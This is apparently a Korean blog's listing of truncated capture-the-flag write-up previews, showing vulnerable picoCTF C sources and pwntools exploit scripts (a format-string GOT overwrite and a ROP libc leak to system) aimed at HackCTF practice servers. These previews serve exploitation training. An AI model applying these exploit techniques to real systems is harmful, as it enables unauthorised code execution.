목록Capture (19)
ii4gsp
#include #include #include #include #include #include #define BUFFSIZE 64 #define FLAGSIZE 64 bool win1 = false; bool win2 = false; void win_fn1(unsigned int arg_check) { if (arg_check == 0xDEADBEEF) { win1 = true; } } void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) { if (win1 && \ arg_check1 == 0xBAADCAFE && \ arg_check2 == 0xCAFEBABE && \ arg_check3 == 0..
#include #include #include #include #include #define BUFSIZE 176 #define FLAGSIZE 64 void flag(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) retur..
#include #include #include #include #include #include "asm.h" #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); printf("Woah, w..
그냥 실행하니 플래그가 나온다. Flag: picoCTF{g3t_r3adY_2_r3v3r53}
main()함수를 보면 printf()함수에서 FSB취약점이 발생한다. play_game()함수에 system("cat ./flag"); 가 있다. system()함수를 호출하기전 인자 0x400750을 printf@got에 덮어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3022) e = ELF('/home/ii4gsp/HackCTF/you_are_silver') flag = str(0x400750) printf_got = e.got['printf'] payload = '' payload += '%' + flag + 'x%8$ln' payload += '\x90' * 2 payload += p64(printf_got) r.sendline(paylo..
문제 이름대로 ROP해주면 된다. pop pop pop ret 가젯은 0x8048509이다. 나머지는 pwntools로 구해주자. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3021) e = ELF('/home/ii4gsp/HackCTF/rop/rop') libc = ELF('/home/ii4gsp/HackCTF/rop/libc.so.6') write_plt = e.plt['write'] write_got = e.got['write'] read_plt = e.plt['read'] read_got = e.got['read'] bss = e.bss() read_offset = libc.symbols['read'] system_offset = libc.symbols..
파일을 다운받아 주자. gets()함수로 입력을받고 check_passcode()함수의 인자로 입력한 값이 전달되고 check_passcode()함수의 인자와 hashcode의 값이 같으면 core()함수를 호출한다. hashcode의 값은 0xC0D9B0A7 이다. check_passcode()함수를 보면 주소를 4byte씩 증가시키며 값을 읽어 v2에 더하고 v2를 return한다. hashcode의 값 0xC0D9B0A7을 5번 나누어서 전달하면 된다. C0D9B0A7을 5로 나누면 0x2691F021이 나온다. 다시 곱하기 5를하면 C0D9B0A7에서 2가 마이너스된 C0D9B0A5가 나온다. 0x2691F021을 4번 전달하고 +2의 값을 전달해주면 된다. core()함수는 dlsym()함수를 ..
파일을 다운받아 주자. IDA로 파일을 열어보면 get_poem(), get_author(), rate_poem()함수가 차례대로 실행되고, dword_6024E0가 1000000이라면 무한루프를 빠져나간다. reward()함수는 flag를 출력해준다. rate_poem()함수를 보면 s1에 "ESPR", "eat", "sleep" 등의 값이 있으면 dword_6024E0의 값을 100 증가시킨다. 하지만 get_poem()함수를 보면 dword_6024E0의 값을 0으로 초기화시킨다. get_author()함수를 보면 gets()함수로 입력을받는다. 두 변수의 주소이다. unk_6024A0와 dword_6024E0의 거리는 64byte차이가 난다. get_poem()함수에서 아무값이나 입력하고 get_..